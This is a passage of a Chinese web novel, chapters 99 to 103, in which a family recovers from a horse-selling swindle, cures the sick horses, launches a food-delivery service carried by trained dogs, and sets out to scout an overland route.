“刘家大姑娘平时在青华楼,是个软和的面团儿,只会做饭的直肠子,我们吓唬吓唬腿便软了,不如从这里入手!” “我们把马儿装扮得精神些,些微便宜点,她肯定入套儿!” 裴铁心睥睨着他:“臭小子,你是不是看上人家了?”不然如何知道那是软和的面团儿。 马儿吓得一个激灵:“哪能啊,那是我们的仇人,我们能有今日,全是刘家坑的,必须找补回来!” 裴铁心冷哼一声,他是不允许自家手下,身在曹营心在汉的。 不过一想也是这个道理,马儿遭了瘟,多半救不回来,折价弄一笔银子也不算吃亏。看常平县的趋势,陆运算是到头了,还不如运作运作,调到水运去当掌柜。 马二也是个人才,不愧能混到二跟班,还真让他想到个主意。 他找来一个画匠,命他给马匹们配上颜色,经过这么一倒腾,半死不活的马儿们变得精神奕奕,红光满面。 马二蹲在清华楼前,打听到刘青青这几日都在清水沟忙得抽不开身,换了胡服贴了胡子上了青华楼,故意在包厢里醉酒闹着要自-杀! 刘慧兰平时被刘青青护着,使力不使心的,哪里见过这个大阵仗,连忙出面询问。 马二痛哭流涕,哭诉自家是北边来的牲口贩子,和裴家车马行约定好送一批马过来,结果车马行毁约,不要他的马,他借的钱全部投了进去,身上连回去的盘缠都凑不齐,只有一死了之。 将裴家车马行骂个狗血喷头,猪狗不如。 刘慧兰:“……” 有些共鸣。 马二又转而哀求:“掌柜的人善心美,不如买下我的马吧,全部是上等的好马,拉车推磨都使得。” 说完他打开窗子,远远指着街尾四十匹颜色鲜亮的枣红马道:“我不赚你一文钱,只要给个本金就行!” 说完眼巴巴的看着刘慧兰。 刘慧兰隐隐觉得不对,推脱道:“我只是个炒菜的,家里做主的另有其人,明日再谈?” 马二哪里肯,寻死觅活哭诉,那些马儿每养一天,便要吃掉一座粮山,实在养不住了。 自家家里还有眼瞎的母亲盼着他买些粮食回家,请刘慧兰救他们母子一命。 这些马原本要价二千两,现在只要一千八百两。 刘慧兰实在被纠缠得心烦意乱,急于脱身胡乱应付道:“六百两,我只有这么多!” 马二一算,十五两一匹马,这价格也忒低了,要知道,这样的一匹马,市场价在五十两左右。 不过转念,这些马全部糟了瘟,最多能活十天半个月,能得一笔银子也是好的,立马答应,让刘慧兰掏钱。 刘慧兰傻了,她胡乱还个低价,他,他怎么就同意了? 她有心反悔,马二大声嚷嚷青华楼出尔反尔,不诚信,哭得一把眼泪一把鼻子,说她和裴家车马行一个德行。 刘慧兰木着脸,不情不愿掏钱。 马二得了银子,将四十匹马往青华楼后院一赶,转瞬间消失在街角。 过了一会,赵垚满头大汗,喘着粗气焦急的跑进门:“楼里可有什么变故?” 今日好生奇怪,过来楼里,路上被绊了好几次。 有人丢了荷包拉着他不放,求他帮忙抓小偷。还有摔了腿的老婆子求助,让他背着送回家。比往日多耽搁了两个时辰,他暗暗觉得不对劲,换了条路赶过来。 刘慧兰还没回神,她这么就花了这么多银子呢。 赵垚追着她的视线,面无表情看着院子里颜色过于鲜亮的马匹们,走过去伸手一摸,手心上立马多了一道褚红的印记。 “这些马身上画了颜料!” 刘慧兰呆呆的抹了一把眼前的马匹,白嫩嫩的手心立马变红,她呜呜哭起来:“我,我,我花了六百两,好似买了些生病的马!” 赵垚上上下下打量她,见她除了荷包空掉,其他的没有变化。 心放到肚子里,还好,还好,只是被骗了六百两而已。 不过,他立马皱起眉头,不对劲,青华楼被骗了六百两,他是股东,也有份啊,为什么他有种舒了一口气的轻松感。 第100章 第100章隐患 刘青青面无表情听着事情的来龙去脉,刘慧兰觑着她的面色,声音越来越小,直到弱不可闻。 若二妹痛骂她一顿,她心里能好受些,但是,二妹这样闷不吭声,不置一词,刘慧兰越发忐忑不安。 她也不知道当时怎么回事,那个人痛哭流涕,她忍不住心软迷糊,稀里糊涂便掏了钱。 六百两啊,整整六百两,刘慧兰越想越气,二妹辛辛苦苦带着大家收淤泥作肥料,也才赚了600两。 愧疚纠结不安,各种复杂的情绪交织,让她眼睛发红,却咬着嘴唇没让眼眶里的泪水掉下来,她做错了事,还有什么资格在这里伤心哭泣呢。 刘青青想的是,人设的力量果然是强大的,阿姊原本是这本书的女主角,带着圣母光环,燃烧自己,照亮别人。 上次面对暴力抢夺,她能勇敢的面对反抗,但这次,敌人柔弱示人,就把她内心的悲悯天人给勾了出来。 裴家车马行真是好样的,这笔账,她记下来了。 六百两,有些肉疼,不伤筋动骨,让她愁眉不展的是另外一件事:刘家作坊式的管理方式,为以后的发展,埋下了巨大的隐患。 刘家走得太快,阿爹风里来雨里去和人打交道历练,勉强能跟上她的步伐。 阿姊大部分时候躲在厨房钻研菜式,青华楼大方向她把控着,鸡毛蒜皮的麻烦事全是赵垚出面解决,导致了阿姊不能独当一面。 阿娘更甚,日日和村里心怀感激的天真孩童一起,更不知人心险恶。 说白了,刘家缺人,缺管理人才。 现在刘家心齐,是因为阿爹阿娘不偏心,她性格强势,阿姊性格软弱,阿妹还是个懵懂无知的小屁孩,要是再过几年呢? 过几年阿娘阿爹生了弟弟,会不会不自觉把重心放在弟弟身上,阿姊成了婚有了娃,会不会更在意自己的孩子,妹妹长大后,有了自己的小心思? 一桩桩,一件件,都是让刘家祸起萧墙的隐患。 人的情感是发展变化的,现在她作出的决定,能得到大家的一直支持,那以后呢? 刘青青琢磨了半天,不晓得该怎么解决这个问题。 堂屋里,大家你看看我,我看看你,等着她作出决定,刘青青手指头不自觉的敲了敲桌子:“出现这样的事,阿姊你肯定要受罚,具体怎么罚,容后再议。” “现在我们先商量,能不能补救一二,减少损失。” 赵垚看了一眼刘慧兰道:“我私下打听清楚了,卖马的人,是裴家车马行新提拔的二掌柜乔装打扮的。” 他私下会了一趟,那人讥笑:“我和刘慧兰,一个愿意买,一个愿意卖,银货两讫,官府管不到罢!” “什么,那些马生了病?笑话,没生病的蒙古马,你觉得十五两一匹,买得到么!” “既然想吃天上掉下来的大馅饼,就要有被坑掉牙的准备!” 随着赵垚的转述,刘慧兰气得浑身发抖,她明明是心软那人可怜,到了骗子的嘴中,变成了她想占便宜。 越发痛恨自己泛滥的同情心。 赵垚一想起那人嬉皮笑脸讥诮的模样便来气,恨不得将他套个麻袋打一顿,偏偏那是个警觉的,竟然缩在车马行不出门。 也就是说,将银子追讨回来的可能是零。 刘青青活了两辈子,从来没见过被骗的钱还有能回来的,对于这个结果,一点也不意外。 刘有山幽幽道:“说起来,裴家车马行虽然不做人,但他们的蒙古马是真的好,若能将那些生病的马儿治好,这损失也就赚回来了。” “我去相看过那些马,身上斑斑点点,和前些日子棉花黑炭的症状差不多,也是一片一片的是掉毛,要不把那药试一试,也算死马当活马医医!” 因青华楼后院小,放不下这么多马,全被赵垚赶到清水沟村,在外面河滩上盖了个宽敞的马圈养着。 刘青青点头,提议多请几个养殖牲口的老把式一起帮忙照顾那些马,顺便把姜老大夫请来掌掌眼。 处理好这些,刘青青疲惫的回了屋子,扒在桌子上给郭守云写信。 对着雪白的纸条,她将未来的担忧一一述说。没了郭守云在身边,她其实也不太习惯,感觉日子过得累了许多。 写完信的刘青青将纸条塞进五妞六妞的脚环里,两只白鸽瞅她一眼,头扭到一边,不满意大半夜的还要干活。 她连忙贡上最新鲜的豌豆尖,两只白鸽吃饱喝足,才呼啦啦在头顶盘旋了两圈飞走。 刘青青若有所思,几只小妞惧怕棉花黑炭,才来的时候心神不定,后来是吃了豌豆尖,勉强住了下来,心甘情愿当了信差,也许,豌豆尖对这些动物们,有着些微的好处? 准确来说,是浇了小水枪营养液的豌豆尖,很受几只小妞的欢迎。 她眼神一亮,不如也摘一些豌豆尖给那些生病的蒙古马吃,万一吃好了呢? 解决了一桩心事,她酣畅入眠。 另一边府学的学斋里,郭守云的房间点着十只蜡烛,将房间照得如同白昼。 蜡烛价贵,倒不是他不知节俭,这是刘青青硬性规定,每次都要检查他的行李,若蜡烛剩得多了,他是要挨骂的。 听到窗子的砰砰声,他心中一动,急忙起身打开,两只白鸽熟门熟路飞进来,站在书桌上,歪着脑袋伸了伸小jiojio。 郭守云嘴角微微翘起,解开了脚环。 一目三行的看完,确定家里人都平平安安,他便放了心,再仔细的从头读了一遍。 看着刘青青絮絮叨叨的话,他心神不自觉的放松,好似两人又同屋而住,他在上铺听着,她在下铺叽里呱啦的抱怨吐槽。 刘青青的担忧,他其实早已经有所察觉,只是,刘家对他再好,他始终隔着一层,此事不好由他开口提出来。 他没忙着写回信,此事慎重,他打算明日请示师父后再说。 刘青青等了半响,没等到两只小妞回来,便嘟着嘴洗脚睡觉。 次日醒来,传来了一个好消息,清水河全线修 通,待温大人剪完彩后,便可以放水试运。 上游的大坝上,围了无数的百姓,大家翘目以盼。 鞭炮声噼里啪啦响了起来,温如初捏着新剪刀剪开红绸,民夫们呼喊着一二三一起用力,扯掉麻绳,暂时拦截河水的沙袋哗啦拖走,河水顺流而下,畅通无阻一路向前。 清水河河底变得平整,清完淤泥的水位约摸有四尺深,行个乌篷船没有问题,吃水深的大船得雨季的时候才能走。 刘青青早将自家后院池塘和清水河的小沟扩宽,改建成闸门,修建了个小码头。 也就是说,刘家的小船,能通过闸门,直接进入刘家后院的池塘。 刘青青总共订做了三条船,因订船的人多,木器铺子才交货了一艘小的乌篷船。 拱篷带门,两面带窗,能挡阳避雨,又能游览风光。 江心垂钓什么的,听着太有意思了。 里头有一张双人床那么大,坐得下八个人。船头船尾可以放火炉水桶等杂物,约摸能拉载货物四百公斤。 刘青青眼热新船,又担心自己晕船,眼巴巴的看着。 转而一想,末世的时候一座车就吐,但是开车就不吐,要不试一试,万一划船和开车差不多呢? 不过上船前,得把保护措施做好。 最重要的便是救生圈了,这里没有救生圈,刘青青从集市上买了许多干燥空心的大葫芦,封好口后拴在船舷上,自己前胸后背也绑了几个。 翠翠也嚷嚷着要坐船,刘青青也给她挂上了几个,成了名副其实的葫芦娃。 苏氏还是担忧,不停的劝阻:“几个葫芦有什么用,掉水里不是好玩的,莫要淘气!” “你们要玩水,我满满烧一澡盆给你们泡,好不好?” 刘有山想了想,自己腿脚不便,不是很放心,从库房里找出两根长绳子,一根拴在刘青青腰上,一根拴在翠翠腰上。 “你们顺着清水河飘,我骑马跟在河岸上,万一落水,我驾马把你们拖出来。” 小孩子哪里有不爱玩水划船的,当爹的没本事亲自照料,做好补救措施就是。 刘青青:“……” 真没必要,那些葫芦,足够带着她漂浮起来。 不过看到苏氏眼底的不同意,和刘有山的坚持,她讪讪的闭了嘴,同意阿爹在河岸用绳子遛娃。 刘慧兰也想上船,被苏氏死死按住:“你妹妹她们还小,掉水里让你爹拖出来就是,你已经十五了,浑身湿透,像什么话!” 最后,首次坐船的便是刘青青,翠翠,棉花和黑炭。 刘青青用长竹竿往河底一撑,乌篷船顺着清水河晃悠悠往下,岸边,刘有山和刘慧兰,一人提着一根绳子跟着。 河水清澈,缓缓流淌,小船晃悠悠往下飘,刘青青一面用竹竿掌握着船头的方向,一面观看两岸的风景。 河风徐徐吹过,小船轻轻晃动,远处飞来几只野鸭,让人心旷神怡。 果然,她没有晕船了呢。 漂流了约摸半里路,便到了闸口,下面一根横木飘在水面上,阻了来来往往的小船。 闸口上修了一个能遮风避雨的小房子,从里头伸出一个头来,看了看她们的船体,笑道:“可是要去常平县城,需要出五文钱的过船费!诺,你放旁边的篮子里就行!” 要进入主河,必须从这道闸口过去。 刘青青看着新鲜出炉的收费站,笑笑:“我还在学划船,等学会了再去!” 她撑着竹篙往回划。 大家接受良好,很多船只老实交钱过河。【你现在阅读的是 】 100-110 第101章 第101章包间不够 白鸽飞回来的时候,已经是黑夜,刘青青飞快的打开纸条,四张纸条上,郭守云写得满满的,对于刘青青对未来的担忧,他只字未提。 两张讲述他在府学的日常,甚至还夹杂了一缕灰色的羽毛。 依旧报喜不报忧,不过字里行间感受到一份淡淡的平静。 原来他找到了伙伴。 通过他的描述,刘青青仿佛看见他一个人,踏着晨曦出门,穿梭在枯黄的树叶间,坐在大树下的石头上,迎着朝阳诵读。 一只灰色的鸟儿悠闲的在一旁,啄着他带去的谷粒,偶尔叽一声,表示对他的感谢。 即便鸟儿不会说话,不会回应,至少能给他一时的安宁,刘青青很感激这只叫扒灰的鸟儿。 想到这个名字,刘青青脸上有一瞬间的古怪。 据阿云说,他首次看见这只鸟,它正在灰尘里扒拉草籽吃,他一时动了恻隐之心,将手中的炊饼掰了些喂食,鸟儿便赖上他,郭守云也是个起名废,干脆叫做扒灰。 他一到大树下读书,扒灰便飞出来,在他头顶的树枝上跳过来踩过去,叽叽叽叫个不停,只要得了吃的,便安静的在一旁歪着头听他读书。 听他的描述,刘青青能猜测,扒灰是一只小巧机灵的麻雀罢。 不过,刘青青对郭守云更放心了,想必他一心只读圣贤书,不会看其他乱七八糟的杂书,否则,也起不出这样的名字。 郭守云提此次休沐回来,课业增多,带了些书,嘱咐刘青青,骑着大妞二妞,后日到县城码头接他。 后日啊,刘青青微微皱了皱眉,她已经和赵二贵等人约好,后日去探探拦路的老虎还在不在。 随着清水河的疏通,和平镇四通八达,各村子走上几步路,到河边坐船一个时辰便到达县城,但从县城去府城,必须换乘大船。 清水河上整日飘着来来往往的船只,拉货的,专门载人的,一副欣欣向荣的景象。 但是从县城到府城的河运,刘家的货物依旧送不出去。 说来因祸得福,姜老大夫检查了马匹,说是马匹因为吃得不干净,肚子里生虫。 大姑娘上轿头一回,他和村子里几个养牲口的老把式一起,配了打虫药灌下去,外面的皮毛上用一洗净每日刷毛,吃的全换成精饲料和青草,经过这些天的护理,那些焉头榻脑瘦骨嶙峋的蒙古马,除了灌药那一日狠狠拉了肚子后,后面越养越精神,已经看不出才来清水沟村时,那副半死不活的模样。 姜老大夫复诊后,抚着胡子保证,再精心修养半个月,这些蒙古马就可以上路运货。 裴家车马行势力强横,生意业务遍布各县,听说裴家家主,因为常平县擅自疏通清水河发了好大一通脾气,打听到是官府所为,也不敢明着和县衙作对,将气撒在常平县的商家头上。 常平县的船若在府城停靠,停船费一律上涨两层。 船家们没有办法,载人费运费跟着一起,水涨船高。 一时间各商家怨声载道,骂不绝口。 刘青青对这些无感,因为,刘家的货,根本没船敢拉载,运费涨不涨的,和刘家没关系。 在这个大背景下,重新走通陆路,迫在眉睫,毕竟,只有半个月便是鹿鸣宴,大量新鲜的食材,需要从清水沟村运送出去。 水产什么的,都差不多,但清水沟村的线鸡,土猪,只要味蕾正常的人,都能感受到其中的美味。 之前考虑过用汪汪队运输,土猪这东西,汪汪队运输不合适,活的拉不动,宰杀好的易变质。 鹿鸣宴是青华园首次在府城亮相,她想尽量做到尽善尽美。 刘青青通知赵二贵等人,探路时间推后一日,等郭守云回来一起去,他自小生活在丛林,胜算更高。 天气越来越冷,大家开始准备过冬的衣服鞋袜。 苏氏体虚,早早的做了薄款的新棉袄套在身上,暖和又轻便,村里许多人家上门,求购刘家的棉花。 刘家当初种了13亩棉花,平均亩产量在130公斤左右,总计收获棉花1700公斤。自家做棉被铺盖垫子用掉了100公斤,还剩下1600公斤堆放在仓库里。 外面市场价100文一公斤的棉花,刘家的棉花可以得160两银子。 不过,刘青青热情礼貌的拒绝了上门的乡亲:“实在对不住,家里的 棉花已经答应别人了,要不,你们去村长家看一看,或者阿喜家,他们也种了棉花!” 苏氏不解:“那么多棉花放在屋里,占屋不说,还容易长霉!” 刘青青呵呵一笑,不在意道:“都晒干了,哪里会长霉,留着有大用呢!” 她掏出一叠白纸,一张一张翻给苏氏看:“阿娘,你能照着图纸,将它们做出来么,里头塞上软软的棉花,像做给阿云的棉花黑炭布偶一样。” 苏氏扶了扶水晶眼镜,盯着她手里的胖嘟嘟的各种小动物:吃着胡萝卜的兔子,粉色的小猪,大耳朵的老鼠,黄色带着帽子的鸭子,绿色张着大嘴巴露出尖牙的妖怪:“哎,兔子咋个会站着哩,猪是黑的的,不是粉色的!” 刘青青扶额,她应该怎么解释,她画的图纸是各种卡通布偶。 苏氏咂摸了一会,闺女手里这些画纸把动物们,画得奇形怪状,但确实惹人喜欢,尤其是那只粉色的小猪,胖嘟嘟肥蹬蹬的,特别福气。 苏氏捧着图纸爱不释手,立刻翻箱倒柜找出藏在箱子底下舍不得用的各种颜色鲜亮的布料,翻出自己的针线篮子,刷刷刷剪裁缝制起来。 刘青青放轻步伐,没有打断投入的苏氏,悄悄退出,绕着村子转了一圈。 不看不知道,村子里已经发生了这样大的变化。 家家户户由原来的茅草顶换成了石片顶,地面如同他家一样,铺就了石板,白墙青顶,干净清爽。 后院猪圈里的胖猪,呼噜呼噜将耳朵盖着眼睛睡觉,线鸡们顶着五彩的羽毛上蹿下跳,捉虫淘草。 不时有汪汪队的狗狗看到她,警惕的站起来后,又趴下继续睡觉。 刘青青绕了一圈,心里有了底。 她回家找到正在盘账的刘有山:“阿爹,村民们家家户户至少两头猪,我们每家收一头回来做腊肉火腿。” “得为青华楼明年的菜准备起来。” 说起这个,刘有山感叹:“你三财叔们来请我们吃杀猪饭,往年哪里敢想! 去年算是收成好的一年,辛辛苦苦养出来的猪,全卖给猪贩子,换点银钱过年。油盐酱醋茶,针头线脑开销,全指着这点银钱。 今年呢,家家户户准备杀一头自己吃,说明啊,他们都赚到了银子。” 刘有山苦着脸摊手:“只是,我们却银子不凑手!” 刘青青卖月饼的钱全部投到府城青华园,手里剩二万两,付了商户村民们的尾款后,尤其铁器铺子,花销最大。 现在,他手里只剩下一千八百两银子。 买淤泥发酵肥料,泡发种子,支付人工各种费用后,落得手里的也才一百二十两。 买马又去掉六百两,姜老大夫治疗马匹,配置打虫药,用掉了二百两,幸好青华楼门庭若市,排队吃黄鳝血的,已经预定到了后天。 新菜受到了极大的欢迎的,带动着纯酿销售额大增,每日能有八十两的流水,去掉人工成本,每日还能净赚40两左右。 也就是说,刘青青手里,现在只剩下两千两银子。 2千两银子看着多,但要做的事情也多。 若苏氏的样品做出来没有问题,布偶需要投入一大笔钱买布料,请人流水线做工。 还有收购土猪,制作火腿要消耗大量的食盐,也是一笔不菲的开销。 啧,还是缺钱。 自清水河通航以来,驾船送货的事便归给了赵二贵,汪汪队们闲着没事干。 刘青青想到阿姊的抱怨,心头一动。 青华楼二楼包厢有限,大家因为排队,已经出了好几起口角,若让这些客人回家去吃,既解决了桌子不够的问题,又把钱赚到了手里,能快速的归拢资金。 她有个新思路,青华楼开展外卖业务,而且不用再花钱召人,有现成的:汪汪队。 晚间的集会上,刘青青主持了会议。 家庭会议第一项目:通过讨论决定了对刘慧兰的处罚:取消她今年年底的分红和奖金,撤销她青华楼掌柜的职务,任命她为青华楼二掌柜,厨师长。 改赵垚为青华楼总掌柜,因他要上值,由刘慧兰协助完成平时事务。 换句话说,刘慧兰不再有青华楼的决定权,刘青青将青华楼的决定权一分二,两人同时签子,才能生效。 家庭会议第二项便在刘青青提出的汪汪队外卖计划,刚才还热烈发言的众人,诡异的安静了下来。 刘鑫:“莫不是开玩笑?” 刘有山:“狗狗们能听懂客人的要求么?” 苏氏:“淘气的孩子最喜欢逗弄狗狗玩耍,万一狗狗反击咬伤了孩子怎么办?” 刘慧兰心有愧疚,无条件支持刘青青:“我觉得好!”支支吾吾却说不出好的地方! 赵垚:“我是在听故事么?” 除了翠翠拍手欢迎:“好啊好啊!” 其他人就一个意思,这事成不了。 第102章 第102章外卖 郭守云在常平县的码头下船,戚眉交了30文的船费,又涨价了,明明上次回来才25文。 他背起书箱站在岸边张望,刘青青还未到,因在信中约好,他怕错过,便立在岸边没动,静静等候。 这一等,他发现了点不同。 码头上人来人往,中间还有几只眼熟的大黄狗。 它们身上穿着统一的绿色小马褂,上面绣着青华楼的字样。 郭守云心中一惊,汪汪队他晓得,之前阿青弄出来搬运货物的,这些狗狗们跑来码头,难道她也在码头? 郭守云朝着狗狗招呼了一声,那只大黄狗扭过头看了看他,确定是他在叫,颠颠跑了过来。 大黄狗跑近前,郭守云才发现了它的不同。 它脖子上的脖环标着号码,三十二号。说明这样的狗狗至少出动了32只。 它嘴巴上带着竹片编织的嘴笼,样子有些奇怪。 郭守云心念一转,立马发现了嘴笼的好处,大黄狗嘴巴可以自由活动,但对行人或者路边的孩童又没有威胁。 大黄狗疑惑的看了他一眼,不解他为何还不从它背篼里淘水牌,体贴的将背篼往他面前怼了怼。 郭守云垂眸,伸手从背篓里掏出一本小册子,翻开一看,五颜六色画着各种各样的菜式,图画下面注着号码名称和单价。 前面的是多人餐,后面是单人快餐。 旁边还绑了一只竹子笔:外面是小竹棍,里头塞了黑炭,可以简单的划拉出字。 郭守云感觉很新奇,闲着无聊,在本子上划了个五,这代表着红烧鳝鱼套饭。 塞回本子,狗狗没动,眼巴巴的盯着他的腰间:“汪?” 那样子仿佛在说,你咋个还不掏钱。 郭守云呵呵一笑,顺着它的目光,从腰间的荷包里掏出十五文钱放在它的另一个褡裢里。 铜钱的响声像是一声指令,狗狗看了他一眼,一溜烟便跑掉。 郭守云好奇,它还会回来么? 在他不时的眺望中,约摸等了半刻钟,狗狗撒欢的跑来,这一次,它背上鼓鼓的。 来到他面前,狗狗一个刹车站住,将后背的褡裢凑到他面前。 郭守云将手伸进褡裢里,摸到一个圆形微微发烫的物体,掏出来一看,布包里圆柱形的盒子,上面画了一个箭头,顺着方向些微用力一扭,便打开。 好巧妙的设计! 原来上面有纹路,能将盒盖和盒身,紧紧的扭在一起。 这是个两层的食盒,上面一层分做了三格,一格放了红烧鳝鱼,里头雪白的大蒜,黄色的姜片,灰白的鳝鱼片,躲在红油油的汤汁中,散发着霸道的香气。 另外一格摆着烫好的翠绿豌豆尖,最后一格有两样咸菜:卤豆腐酸萝卜。 下面一格是雪白的碎米饭,颗粒均匀,冒着热气。 郭守云凌晨起身坐船,整整四个时辰,肚子已经空空,色香味俱全的食物摆在面前,捡起米饭头上的小勺子便唏哩呼噜吃起来。 在他吃的过程中,大黄狗老实的在旁边趴着,不时跳起来,很有眼色替他驱赶周围的苍蝇。 郭守云:“……” 服务意识还挺强。 等他吃完,大黄狗又凑到他面前,郭守云看了看手中的食盒,按原样扭起来,装到它的褡裢里。 大黄狗对着他欢喜的汪了一声,颠颠跑了。 它要回去送饭盒,有奖励哦。 又等了半刻钟,刘青青牵着大妞二妞姗姗来迟,看见他露出欢喜的笑:“阿云,你回来了!” “过来的时候耽搁了一会,饿了吧,快上马,我们回去楼里吃了饭又回家!” 两人合力把书箱绑在大妞的身上,郭守云扶着她爬上大妞背上,自己也蹦上二妞背上,两人慢悠悠走在路上。 “汪汪队,不用送货了么?怎么在城里乱跑。” 刘青青嘿嘿一笑:“清水河已经通航,二贵叔每日撑船送两趟货,足够了!” “汪汪队我弄来送外卖。” “外卖?” 刘青青点点头:“我们青华楼的菜品味道出色,来吃的客人越来越多,楼里坐不下,我便让汪汪队们在街上到处游荡。” 好似知道他要说什么,刘青青摆手道:“放心,汪汪队都带着嘴笼,不会误伤到客人的。” 客人们点了餐付款后,狗狗们回到楼里,楼里的服务员按照菜单将饭菜装好,再由狗狗们送到。 做成一单的狗狗们回到楼里,可以奖励一只大骨。 大骨头是熬高汤剩下的,丢了可惜,正好给狗狗们磨牙。 郭守云嗯了一声,她对手下的员工,不论是人,还是动物,一向大方舍得。 刘青青戚了戚:“原本想着狗狗们会出问题,哪知道是客人出问题!” “怕客人不识字,故意请画匠画成了小册子,还做了竹笔,饭盒!” “刚刚,城南的一个婆子点了套餐,想昧下我们的饭盒和册子,三十六号大灰狗跟在她后面不走,被她打了一顿,我过去处理!” 郭守云挑眉:“你怎么处理的?” 刘青青笑道:“我把楼里轮换休息的三十三只狗狗全带了过去,这次没给它们带嘴笼。 当时,刘青青似笑非笑对着偷昧饭盒的婆子道:“我们家的狗子喜欢记仇,还团结,大灰狗被欺负了,它这些兄弟姐妹们看到它身上的伤,当时就暴-动乱叫,在院子里偷跑出来,准备报仇!” “今儿运气好,恰好被我追上,发现阻止,但万一哪一日我忙着没看顾过来,大婶,你打得过这么多的狗狗么!” “建议你当着这些狗狗的面,给大灰狗道歉赔礼,不然后面发生什么,我真的控制不了。” 爱占便宜的老婆子被这么多,强壮有力凶狠的大狗虎视眈眈围着,小腿已经抖了起来,听她这么一说,老实的还了饭盒册子,赔偿了一顿饭钱,作为狗狗的赔礼,当着所有狗狗对被打的大灰狗道了歉,保证以后不会再犯。 刘青青叹气:“哎,可惜,只让她口头道了歉,没能让大灰狗也踹她两脚!只能委屈大灰狗了,回去多给它几块肉吃。” 随着她的讲述,郭守云露出一脸本该如此的表情。她是护短的,只要被她划分在自己人,或者自己狗的范畴里,总会得到她的庇护偏爱! 刘青青不知道的是,今日的处理一战成名,青华楼里的狗狗们再也没有被欺负,也不敢偷册子饭盒,或者少付钱。 因为大家都知道,虽然狗狗们套着嘴笼,但,狗狗们不是任人欺负的小可怜,人家后面有一个狗狗兵团。 点了青华楼的套餐,足不出户就能吃到青华楼里的美味,一时之间,青华楼的狗狗们在县城大受追捧。 青华楼里的营业额再次有了起色,突破百两大关。 因为天气慢慢变冷,时不时下雨,这个时候没有水靴,食客们躲在家里不喜出门。 不少酒楼饭店客流量减小,糕点铺子,杂货铺子等,看见青华楼的举动,跟着送起了外卖,但是,却找不动青华楼这样懂事干净聪明的狗狗,只能顾请人工代替。 外卖业务算是一举多得,一来方便了客人,要知道,下雨冷天出一次门,那是要命的事情,浑身湿透阴冷,但又不能不吃饭不买东西。 又提高里各家酒楼里的流水,间接提供了很多就业机会,让很多不能干重活的穷苦百姓,找到了门路补贴家用。 常平县这个冬天,首年没有饿死冻死的百姓,帮温如初的政绩薄大大的添了一笔。 这些都是后续的发展。 两人回到青华楼后院,郭守云看到狗狗们有条不紊,从后门有序进出排队等待配餐,这个时间段可以祛除嘴笼喝水吃东西玩耍。 棉花黑炭趴在一个大椅子上,像掌柜一样,悠闲的盯着。 他升起了一种自豪,他的阿青,总是有那么多天马行空的想法,而且能将这些想法照进现实,利己利人,让日子变得更加有滋有味。 晓得她还没吃饭,郭守云让她去休息室洗脸,他去端饭。 赵垚现在除了上值,剩余的时间都守在酒楼里,随时待命,处理楼里的事务。 刘慧兰被降职,但她反而松了一口气,她本就不喜欢出头露脸,现在大部分时间,她能消磨在厨房里琢磨新菜,越发称心如意。 郭守云进去厨房的时候,她正板着脸指导两个年岁比她大一倍的厨娘:“教了你们好多次,不要舍不得放油,鳝鱼生活在淤泥里,容易长小虫子,必须把油烧得旺旺的,才能杀死鳝鱼身上的虫子,人吃了不生病!” “哎,盐巴要起锅的时候再放,放早了肉质发老不好吃!” 言辞犀利精准,不见平时的温柔怯弱。 掀起眼皮看见她,立马像换了一个人一样,露出温婉的笑容:“阿云回来了,饿了吧,我给你们留了饭,快来!” 郭守云眼眸闪了闪:“我们?” 刘慧兰从旁边的小锅里,端出几个盘子冒着热气的菜放到食盒了递给他,不好意思道:“厨房里是力气活,我和赵垚先吃掉了,没等你!阿青一直等着你,快去!” 郭守云心中一暖,嗯了一声,提着食盒到了休息室,摆好桌子的时候,刘青青才从内室出来。 看到桌子上的饭菜,刘青青笑道:“这鱼是清水河里的野生鲫鱼,虽然刺多,但鲜美甜嫩,阿姊故意留着,等你回来吃!” 说完,夹了一条最大的放在他碗里。 郭守云最讨厌的便是吃鱼,因为刺多,一不小心便卡到。 不过,阿青夹给他的,一定要吃完。 他悄悄揉了揉已经饱了的肚子,后悔为什么好奇买了一份套饭先吃掉。 他将一盘鱼端到自己的面前,慢丝调理的拆刺,将拆掉刺只剩肉的鱼儿,重新放回刘青青面前:“你爱吃鱼,多吃点!” 第103章 第103章搬个家 天才蒙蒙亮,清水沟村人声鼎沸,已经解散的猎队再次集合,由赵二贵带队,将刘青青和郭守云拱卫在中间,骑马往府城奔去。 人人背上背着锄头镰刀撬棍弓箭长-枪网兜各种工具,还有掺杂了致幻粉末 煮熟的猪肉块,干粮清水盐巴等。 此行是勘测常平县城通往府城的陆路。 之前听说路上有拦路的老虎,刘青青稳妥起见的,带了半数汪汪队。 大妞二妞一马当先,后面是赵二贵等二十骑蒙古马,最后才是棉花黑炭带队的五十只健壮的狗狗,一路尘埃飞天,声势浩大,颇有一番将军出站的气势。 出了常平县约摸十里以后,道路慢慢变得崎岖,速度降了下来,因为久无人行走,路上串满了野草,不时还有荆棘,郭守云带着汪汪队换到前面,狗狗们东嗅嗅西闻闻,探寻周围是否是猛兽的气息。 刘青青在自己的小本子上画画写写,详细记录路况。 直到正午,道路才走了三十里路,越往后,杂草丛生,荆棘遍地。 刘青青扫一眼大家变得缓慢的动作,挥了挥手。 赵二贵得了示意,扬声吩咐就地休息做饭。 刘青青吹了一天的风,刚要坐在枯草上,将小本子搭在腿上整理笔记,郭守云变戏法一样,从二妞背上,拆下一个小马凳,示意她坐下,还掰开了一个灵巧的小桌子:“在这里写!” 他牵着大妞二妞变换位置,人为的围成了一个角,刘青青就坐在角里的小马凳上。 空旷的道路上,深秋的寒风被两匹马挡在了外面,刘青青感觉被吹得冰凉的腿,变得暖和了些。 她抬眼看了他一下:“你想得真周到!” 赵二贵等,有样学样,将恢复健康的蒙古马牵到上风口拴牢后,喂马打柴烧火焖饭烧水。 刘青青录完笔记,带来的铜锅里头,清水已经滚沸,刘青青舀出来一些后,算着分量,倒入同样多的碎米,再倒入已经煮熟去皮的芋头,洒了两勺子盐后,盖上锅盖焖煮。 等锅里的水被米吸收后,上面铺上整齐的腊肉,撒一些翠绿的豌豆和切细的胡萝卜丁。 撤走火塘里的柴火,靠闪着红光的灰烬余温,将夹生的米饭焖熟。 另外一个铜锅,胭脂色的火腿丁已经炖的烂烂的,刘青青将赵二贵等人寻回来的苦麻菜洗干净,丢在里头,咕噜咕噜滚上一刻钟,一锅浓香的野菜汤便煮好了。 吃饭的时候,锅铲子顺着铜锅撬到锅底,最下层是成块的芋头,中层吸满了腊肉汤汁的淡黄米粒,最上层胭脂色的腊肉,翠绿的豌豆,橙黄的萝卜丁,颜色从浅到深,赏心悦目。 